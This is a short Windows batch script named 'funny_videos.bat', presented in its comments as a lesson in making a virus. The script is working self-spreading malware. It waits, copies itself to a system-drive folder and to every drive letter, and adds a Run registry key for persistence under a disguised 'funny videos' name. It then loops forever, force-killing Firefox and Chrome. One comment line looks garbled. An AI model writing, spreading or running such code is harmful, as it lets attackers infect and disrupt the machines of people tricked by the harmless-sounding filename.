funny_videos.bat

@shift /0
@echo off
::This file will teach how to make a virus?

::Working Folder %WinDir#\Rundlli

:01

::wait five seconds
ping localhost -n 5 > nul

::Create an folder for virus source
md %systemdrive%\my_vid

::Copy himself to source folder
copy /y %0 %systemdrive%\my_vid

::Copy himself to all drives
for %%p in (C D E F G H I J K L M N O P Q R S T U V W X Y Z) do copy "%0" %%p:

::Add on Windows Startup Registry
REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v funny_v /t REG_SZ /d %systemdrive%\my_vid\funny_videos.exe /f

::What virus do?
taskkill /f /im firefox.exe
taskkill /f /im chrome.exe
goto 01